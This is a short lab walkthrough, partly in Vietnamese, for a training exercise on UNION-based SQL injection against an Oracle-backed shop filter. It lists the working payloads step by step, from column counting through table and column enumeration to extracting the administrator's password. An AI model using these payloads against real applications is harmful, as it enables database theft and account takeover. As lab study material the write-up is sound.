Lab: SQL injection attack, listing the database contents on Oracle
Last updated
Last updated
Phòng thí nghiệm này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng để bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác.
Ứng dụng có chức năng đăng nhập và cơ sở dữ liệu chứa một bảng lưu trữ tên người dùng và mật khẩu. Bạn cần xác định tên của bảng này và các cột mà nó chứa, sau đó truy xuất nội dung của bảng để lấy tên người dùng và mật khẩu của tất cả người dùng.
Mục tiêu: Đăng nhập với tư cách người dùng administrator
Trên Oracle:
Có thể liệt kê các bảng bằng cách truy vấn all_tables
:
SELECT * FROM all_tables
Có thể liệt kê các cột bằng cách truy vấn all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
'+ORDER+BY+2--
'+UNION+SELECT+'a','a'+FROM+dual--
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name+%3d+'USERS_NJJYGZ'--
' UNION SELECT password_vessjn,email FROM users_njjygz WHERE username_onbyed = 'administrator'--